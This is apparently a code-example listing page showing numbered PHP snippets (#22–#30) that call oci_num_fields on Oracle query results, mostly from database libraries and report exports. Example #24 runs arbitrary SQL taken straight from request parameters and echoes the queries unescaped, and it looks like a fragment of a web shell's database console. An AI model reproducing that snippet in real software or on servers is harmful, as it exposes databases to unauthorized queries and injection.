
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=OGP.OLO.xls");
include "config/connect.php";
$sql = OCIParse($connect, "SELECT * FROM SB_OLO WHERE STAT_SERVICE <> 'Closed'");
ociexecute($sql);
echo "<table border='1'>\n";
$ncols = oci_num_fields($sql);
echo "<tr>\n";
for ($i = 1; $i <= $ncols; ++$i) {
    $colname = oci_field_name($sql, $i);
    echo "  <th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n";
}
echo "</tr>\n";
while (($row = oci_fetch_array($sql, OCI_ASSOC + OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $therow) {
        echo "  <td>" . ($therow !== null ? htmlentities($therow, ENT_QUOTES) : " ") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";
Пример #22
0
 /**
  * Executes a prepared statement.
  *
  * @param $params
  * @return void
  * @throws Zend_Db_Statement_Oracle_Exception
  */
 public function execute($params = null)
 {
     $connection = $this->_connection->getConnection();
     if (!$this->_stmt) {
         $sql = $this->_joinSql();
         $this->_stmt = oci_parse($connection, $sql);
     }
     if (!$this->_stmt) {
         throw new Zend_Db_Statement_Oracle_Exception(oci_error($connection));
     }
     if ($params && is_array($params)) {
         $error = false;
         foreach (array_keys($params) as $name) {
             if (!oci_bind_by_name($this->_stmt, $name, $params[$name], -1)) {
                 $error = true;
                 break;
             }
         }
         if ($error) {
             throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt));
         }
     }
     if (!oci_execute($this->_stmt, $this->_connection->_getExecuteMode())) {
         throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt));
     }
     $this->_keys = array();
     if ($field_num = oci_num_fields($this->_stmt)) {
         for ($i = 1; $i <= $field_num; $i++) {
             $name = oci_field_name($this->_stmt, $i);
             $this->_keys[] = $name;
         }
     }
     $this->_values = array();
     if ($this->_keys) {
         $this->_values = array_fill(0, count($this->_keys), null);
     }
 }
Пример #23
0
 /**
  * Executes a prepared statement.
  *
  * @param array $params OPTIONAL Values to bind to parameter placeholders.
  * @return bool
  * @throws \Zend\Db\Statement\Exception
  */
 public function _execute(array $params = null)
 {
     $connection = $this->_adapter->getConnection();
     if (!$this->_stmt) {
         return false;
     }
     if ($params !== null) {
         if (!is_array($params)) {
             $params = array($params);
         }
         $error = false;
         foreach (array_keys($params) as $name) {
             if (!@oci_bind_by_name($this->_stmt, $name, $params[$name], -1)) {
                 $error = true;
                 break;
             }
         }
         if ($error) {
             throw new OracleException(oci_error($this->_stmt));
         }
     }
     $retval = @oci_execute($this->_stmt, $this->_adapter->_getExecuteMode());
     if ($retval === false) {
         throw new OracleException(oci_error($this->_stmt));
     }
     $this->_keys = array();
     if ($field_num = oci_num_fields($this->_stmt)) {
         for ($i = 1; $i <= $field_num; $i++) {
             $name = oci_field_name($this->_stmt, $i);
             $this->_keys[] = $name;
         }
     }
     $this->_values = array();
     if ($this->_keys) {
         $this->_values = array_fill(0, count($this->_keys), null);
     }
     return $retval;
 }
Пример #24
0
 } elseif (isset($_REQUEST['oraclecon']) && ($con = oci_connect($sqluser, $sqlpass, $hostandport))) {
     if (isset($_REQUEST['sqlcode'])) {
         $sqls = ss($_REQUEST['sqlcode']);
         $querys = explode(";", $sqls);
         foreach ($querys as $query) {
             if (trim($query) != "") {
                 $st = oci_parse($con, $query);
                 if (oci_execute($st)) {
                     $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;\n\t\t\t\t\t\t<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>\n\t\t\t\t\t\t<table class=\"explore\" style=\"width:99%;\"><tr>";
                     for ($i = 1; $i <= oci_num_fields($st); $i++) {
                         $q_result .= "<th>" . htmlspecialchars(oci_field_name($st, $i)) . "</th>";
                     }
                     $q_result .= "</tr>";
                     while ($rows = oci_fetch_array($st)) {
                         $q_result .= "<tr>";
                         for ($j = 0; $j < oci_num_fields($st); $j++) {
                             if ($rows[$j] == "") {
                                 $dataz = " ";
                             } else {
                                 $dataz = $rows[$j];
                             }
                             $q_result .= "<td>" . htmlspecialchars($dataz) . "</td>";
                         }
                         $q_result .= "</tr>";
                     }
                     $q_result .= "</table>";
                 } else {
                     $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;\n\t\t\t\t\t\t\t<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
                 }
             }
         }
Пример #25
0
OCI_BIND_BY_NAME($prcIndicadoresFFVV1, ':VENDEDOR', $FILTROVENDEDOR, -1);
OCI_BIND_BY_NAME($prcIndicadoresFFVV1, ':SUSCRIPTOR', $FILTROSUSCRIPTOR, -1);
OCI_BIND_BY_NAME($prcIndicadoresFFVV1, ':COORDINADOR', $FILTROCOORDINADOR, -1);
OCI_BIND_BY_NAME($prcIndicadoresFFVV1, ':PARAM', $PARAM, -1);
oci_bind_by_name($prcIndicadoresFFVV1, ':TOT_REG', $TOT_REG, 32, OCI_B_INT);
oci_bind_by_name($prcIndicadoresFFVV1, ':C_CURSOR', $REFCUR, -1, OCI_B_CURSOR);
oci_execute($prcIndicadoresFFVV1);
oci_execute($REFCUR);
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('America/Argentina/Buenos_Aires');
define('EOL', PHP_SAPI == 'cli' ? PHP_EOL : '<br />');
$objPHPExcel = new PHPExcel();
$objPHPExcel->getProperties()->setCreator("Tablero CPI")->setLastModifiedBy("Tablero CPI")->setTitle("PAQ")->setSubject("PAQ")->setDescription("PAQ")->setKeywords("pdf php")->setCategory("PAQ");
$ncols = oci_num_fields($REFCUR);
$COLL = 'A';
$objPHPExcel->setActiveSheetIndex(0);
$objPHPExcel->getActiveSheet()->setCellValue('A1', 'Tiempos de cara al cliente FFVV Paquetes');
$filtros = 'Detalle entre el ' . $FE_ESTADO_DESDE . ' y el ' . $FE_ESTADO_HASTA . '.';
if ($FILTROVENDEDOR !== "") {
    $filtros .= ' Vendedor: ' . $FILTROVENDEDOR . '.';
}
if ($FILTROCANALES !== "") {
    $filtros .= ' Canales: ' . $FILTROCANALES . '.';
}
if ($FILTROPRODUCTO !== "") {
    $filtros .= ' Productos: ' . $FILTROPRODUCTO . '.';
}
if ($FILTROZONAS !== "") {
    $filtros .= ' Zonas: ' . $FILTROZONAS . '.';
Пример #26
0
 /**
  * Executes a prepared statement.
  *
  * @param array $params OPTIONAL Values to bind to parameter placeholders.
  * @return bool
  * @throws Zend_Db_Statement_Exception
  */
 public function _execute(array $params = null)
 {
     $connection = $this->_adapter->getConnection();
     if (!$this->_stmt) {
         return false;
     }
     if ($params !== null) {
         if (!is_array($params)) {
             $params = array($params);
         }
         $error = false;
         foreach (array_keys($params) as $name) {
             if (!$this->bindParam($name, $params[$name], null, -1)) {
                 $error = true;
                 break;
             }
         }
         if ($error) {
             /**
              * @see Zend_Db_Adapter_Oracle_Exception
              */
             require_once LIB_DIR . '/Zend/Db/Statement/Oracle/Exception.php';
             throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt));
         }
     }
     $retval = @oci_execute($this->_stmt, $this->_adapter->_getExecuteMode());
     if ($retval === false) {
         /**
          * @see Zend_Db_Adapter_Oracle_Exception
          */
         require_once LIB_DIR . '/Zend/Db/Statement/Oracle/Exception.php';
         throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt));
     }
     $this->_keys = array();
     if ($field_num = oci_num_fields($this->_stmt)) {
         for ($i = 1; $i <= $field_num; $i++) {
             $name = oci_field_name($this->_stmt, $i);
             $this->_keys[] = $name;
         }
     }
     $this->_values = array();
     if ($this->_keys) {
         $this->_values = array_fill(0, count($this->_keys), null);
     }
     return $retval;
 }
Пример #27
0
function printResult($result)
{
    echo "<table>";
    $ncols = oci_num_fields($result);
    for ($i = 1; $i <= $ncols; $i++) {
        $colname = oci_field_name($result, $i);
        echo "<th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n";
    }
    while (($row = oci_fetch_array($result, OCI_ASSOC + OCI_RETURN_NULLS)) != false) {
        echo "<tr>\n";
        foreach ($row as $item) {
            echo "  <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "(null)") . "</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>";
}
Пример #28
0
 function db_colnum($oStmt)
 {
     return oci_num_fields($oStmt);
 }
Пример #29
0
 /**
  * Number of fields in the result set
  *
  * @return	int
  */
 public function num_fields()
 {
     $count = oci_num_fields($this->stmt_id);
     // if we used a limit we subtract it
     return $this->limit_used ? $count - 1 : $count;
 }
Пример #30
0
 function numFields()
 {
     return oci_num_fields($this->stmt);
 }